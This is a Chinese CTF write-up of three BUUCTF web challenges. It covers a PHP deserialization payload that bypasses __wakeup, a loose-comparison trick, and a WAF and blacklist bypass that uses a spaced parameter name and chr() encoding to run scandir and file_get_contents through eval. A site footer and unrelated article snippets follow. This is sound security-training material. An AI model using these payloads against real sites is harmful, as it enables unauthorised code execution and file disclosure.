[BT]BUUCTF刷题第6天(3.24)

第6天

Web

[极客大挑战 2019]PHP

Payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

这道题考点是网站源码备份文件泄露和PHP反序列化,有篇介绍PHP反序列化考点的文章:PHP序列化反序列化漏洞总结(一篇懂)

在这里插入图片描述

打开网站是一个小游戏,根据题目提示得知需要找到网站的备份文件,这里使用dirsearch进行扫描(由于使用dirsearch自带的字典完整扫描一遍耗时过长,因此根据网上的题解我自己写了一个包含正确备份文件的字典,缩短扫描时间)

在这里插入图片描述

返回状态码200,说明确实存在该文件,访问下载

在这里插入图片描述

经过查看,flag.php中不包含正确flag,然后打开index.php进一步查看(发现关键内容:include 'class.php';$res=unserialize(@$select);

在这里插入图片描述

打开class.php文件

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){    /*__construct()当对象被创建即new之前,会触发进行初始化,但在unserialize()时是不会自动调用的。*/$this->username = $username;$this->password = $password;}function __wakeup(){                                //__wakeup()将在反序列化之后立即调用$this->username = 'guest';}function __destruct(){                             /* __destruct()在到某个对象的所有引用都被删除或者当对象被显式销毁时执行*/if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

需要反序列化后的对象满足username === 'admin’且password = 100

初始Payload:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

生成代码:
user

<?php
class Name
{private $username = 'admin';private $password = '100';
}
echo serialize(new Name());
?>

在这里插入图片描述

因为usernamepassword变量是private类型,变量中的类名前后会有空白符,而复制的时候会丢失,所以还需要加上%00(private类型序列化结果是%00类名%00属性值)

修改后的Payload:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

但是如果直接将这行字符串传进去反序列化的话网站会首先执行__wakeup()魔法方法修改username 为 ‘guest’,所以需要修改属性数量(当对象的属性数量和序列化后的属性数量值不等时会不执行__wakeup()魔法方法)

最终Payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

注意“Name”后的2变成了3(只要不等于2就行)

通过GET传参获取flag

在这里插入图片描述

[ACTF2020 新生赛]BackupFile

Payload:

http://a9e22c40-e35e-48a3-81f3-61db800e704d.node5.buuoj.cn:81?key=123

在这里插入图片描述
提示我们需要找到源代码,所以这道题的解题思路也是备份文件,通过dirsearch扫描

在这里插入图片描述

发现了index.php.bak文件,访问这个文件自动下载

直接打开后得到源码:

<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {exit("Just num!");}$key = intval($key);$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";
}
?>

考点是==的弱类型比较:

  1. === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较具体值
  2. == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较
  3. 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且按照数值来进行比较

这里$str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”;被截取前三位,即123后与$key进行比较

因此直接传?key=123即可拿到flag(注意只能是数字123,不能是字符串123,即'123'

[RoarCTF 2019]Easy Calc

在这里插入图片描述
打开网站发现是一个类似计算器的内容,F12看到提示说网站使用了WAF防护并且还有一个calc.php文件

在这里插入图片描述

访问calc.php文件得到:

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

可以看到假如我们传给num一个合适的值后(绕过黑名单)就能通过eval函数执行命令

当num为数字时网页正常返回,但当num为非数字时,WAF会检测num并禁止访问

这里的思路是,WAF检测的是"num"参数,若我们在num参数前添加空格,让num变成 num,那么就可以绕过WAF,并且php在接受参数时会将空格删除,将 num转变成num

接下来是构造命令,因为php文件不允许空格和\,所以使用chr(ASCII码)进行绕过

源Payload:

? num=scandir("/")      //scandir可以扫描目录,这里是根目录

绕过后的Payload:

? num=var_dump(scandir(chr(47)))

在这里插入图片描述

发现[5]=> string(5) "f1agg",进行访问

源Payload:

? num=file_get_contents("/f1agg")      //

绕过后的Payload:

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/768581.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot Starter解析

conditional注解解析 介绍 基于条件的注解作用: 根据是否满足某一个特定条件决定是否创建某个特定的bean意义: Springboot实现自动配置的关键基础能力 常见的conditional注解 ConditionalOnBean: 当容器中存在某个Bean才会生效ConditionalOnMissingBean: 不存在某个Bean才会…

管理自由,体验简单,使用安全 | 详解威联通全套多用户多权限管理方案【附TS-466C产品介绍】

管理自由&#xff0c;体验简单&#xff0c;使用安全 | 详解威联通全套多用户多权限管理方案【附TS-466C产品介绍】 哈喽小伙伴们好&#xff0c;我是Stark-C~。今天我们来解决一个之前评论区多次被提及的问题--多用户权限管理。 对于我们NAS用户来说&#xff0c;基本都会面临这…

docker 本地机 互通文件

查询容器name 查询容器Id 进行传输

QTabWidget的tabbar不同方向显示 文字方向设置 图标跟随变化 实现方式 qt控件绘制原理

先来看结果图&#xff1a;&#xff08;参考博客&#xff1a;QTabWidget中tab页文本水平或垂直设置_pyqt tab_widget.settabposition(qtabwidget.west) 字体-CSDN博客&#xff09; 从图中可知&#xff0c;"普通"是qt自己的样式&#xff0c;但是很明显&#xff0c;在垂…

最新Java面试题5【2024初级】

互联网大厂面试题 1&#xff1a;阿里巴巴Java面试题 2&#xff1a;阿里云Java面试题-实习生岗 3&#xff1a;腾讯Java面试题-高级 4&#xff1a;字节跳动Java面试题 5&#xff1a;字节跳动Java面试题-大数据方向 6&#xff1a;百度Java面试题 7&#xff1a;蚂蚁金服Java…

Excel打开CSV文件中文乱码问题

Excel的数据导入功能 直接用Excel打开下载的CSV文件&#xff0c;会看到汉字乱码&#xff0c;数字显示正常。如下图所示现象。 请先正常打开一份空白的excel文件&#xff0c;将鼠标定位在第一行第一列&#xff0c;这边鼠标定位的位置将决定后续打开的csv文件在excel中展示的位置…

【Python从入门到进阶】51、电影天堂网站多页面下载实战

接上篇《50、当当网Scrapy项目实战&#xff08;三&#xff09;》 上一篇我们讲解了使用Scrapy框架在当当网抓取多页书籍数据的效果&#xff0c;本篇我们来抓取电影天堂网站的数据&#xff0c;同样采用Scrapy框架多页面下载的模式来实现。 一、抓取需求 打开电影天堂网站&…

使用ADB一键停止Android设备上所有应用程序的批处理脚本

当在 Android 设备上进行开发或测试时&#xff0c;经常需要停止某些应用程序。这可能是为了清除缓存、重新加载应用程序或测试新的应用程序行为。幸运的是&#xff0c;通过使用 ADB&#xff08;Android 调试桥&#xff09;&#xff0c;可以通过命令行轻松地停止应用程序。 以下…

[leetcode] 26. 删除有序数组中的重复项

给你一个 非严格递增排列 的数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c;返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元素的个数。 考虑 nums 的唯一元素的数量为 k &#xff0c;你…

C语言之strsep用法实例(八十六)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

C++实现FFmpeg音视频实时拉流并播放

1.准备工作: 下载rtsp流媒体服务器rtsp-simple-server,安装go开发环境并编译 编译好后启动流媒体服务器 准备一个要推流的mp4视频文件,如db.mp4 使用ffmpeg开始推流 推流命令: ffmpeg -re -stream_loop -1 -i db.mp4 -c copy -rtsp_transport tcp -f rtsp rtsp://192.168.16…

Soot 安装和简单使用

目录 前言 一、Soot 的下载和安装 1.1 在命令行中使用 Soot 1.2 在项目中使用 Soot 二、使用 Soot 生成中间代码 (IR) 三、使用 Soot 进行 Java 类插桩 四、使用 Soot 生成控制流图 (CFG) 4.1 按语句划分的控制流程图 4.2 按基本块划分的控制流程图 五、Graphviz 工具…

Docker jupyter 容器中添加matplotlib 中文支持

本教程基于 jupyter/datascience-notebook&#xff0c;适用其他容器。 # 查看所有 Docker 容器 docker ps -a # 进入已经运行的 Jupyter 容器 docker exec -it CONTAINER_ID bash 本例中CONTAINER_ID为2e # 切换到 matplotlib 的字体目录&#xff08;find / -name "…

HTML5和CSS3新特性

Html新增属性 1.新增语义化标签 <header>&#xff1a;头部标签 <nav>&#xff1a;导航标签 <article>&#xff1a;内容标签 <section>&#xff1a;定义文档某个区域 <aside>&#xff1a;侧边栏标签 <footer>&#xff1a;尾部标签 2.…

kafka优化--来自gpt

增加Topic的分区数&#xff1a; 分区数越多&#xff0c;可以并行处理的能力越强。 配置参数&#xff1a;num.partitions 增加消费者&#xff08;Consumer&#xff09;的并行度&#xff1a; 根据硬件资源调整消费者实例的数量。 配置消费者组内的消费者实例数。 调整消费者&…

力扣hot100:994. 腐烂的橘子(多源BFS)

这是一个典型的多源BFS问题&#xff0c;如果初学数据结构的同学&#xff0c;可能第一次不能想到&#xff0c;但是如果做过一次应该就能运用了。      主要思路大概是初始时&#xff0c;多个点进入队列然后进行BFS。将某一等价集合视作同一个起始点&#xff08;超级源点&…

blender插件笔记

目录 文件拖拽导入 smpl导入导出 好像可以导入动画 smpl_blender_addon导入一帧 保存pose 导入导出完整代码 文件拖拽导入 https://github.com/mika-f/blender-drag-and-drop 支持格式&#xff1a; *.abc*.bvh*.dae*.fbx*.glb*.gltf*.obj*.ply*.stl*.svg*.usd*.usda*.…

【QT问题】 Qt信号函数如果重名,调用怎么处理

问题描述&#xff1a; 在调用某个类的信号函数的时候&#xff0c;出现信号函数名字相同&#xff0c;参数不同的情况&#xff0c;但是Qt在链接信号槽的时候&#xff0c;又不需要指明信号函数参数&#xff0c;此时就会出现无法分辨的情况。 例如&#xff1a;QComboBox的信号 Q_…

前端学习之用css和html做一个仿淘宝的导航栏

代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>仿淘宝界面案例</title><style>/* 最外层盒子 */.container{width: 270px;height: 385px;border: 1px solid rgb(255, 208, 0);bord…

MacOS快速安装FFmpeg、ffprobe、ffplay

文章目录 一、工具简介二、mac 安装ffprobe、FFmpeg等相关工具2.1 方法一&#xff1a;使用Homebrew安装FFmpeg2.2 从官网下载FFmpeg安装包&#xff0c;源码安装2.3 macOS 无法验证开发者时安装 一、工具简介 这些工具都是与多媒体处理和流媒体相关的开源工具&#xff0c;它们都…